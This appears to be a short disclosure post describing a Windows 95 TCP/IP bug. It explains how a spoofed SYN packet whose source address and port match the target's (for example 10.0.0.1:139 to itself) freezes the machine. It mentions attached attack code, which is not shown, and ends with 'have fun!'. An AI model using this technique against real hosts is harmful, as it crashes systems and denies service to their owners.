new TCP/IP bug in win95

hi,

i recently discovered a bug which freezes win95 boxes. here's how
it works: send a spoofed packet with the SYN flag set from a host, on an open
port (such as 113 or 139), setting as source the SAME host and port
(ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock
up.

the piece of code included in this message does that, so... have fun!

i haven't tested this bug on other platforms, i don't have the
ressources. please feel free to do so.
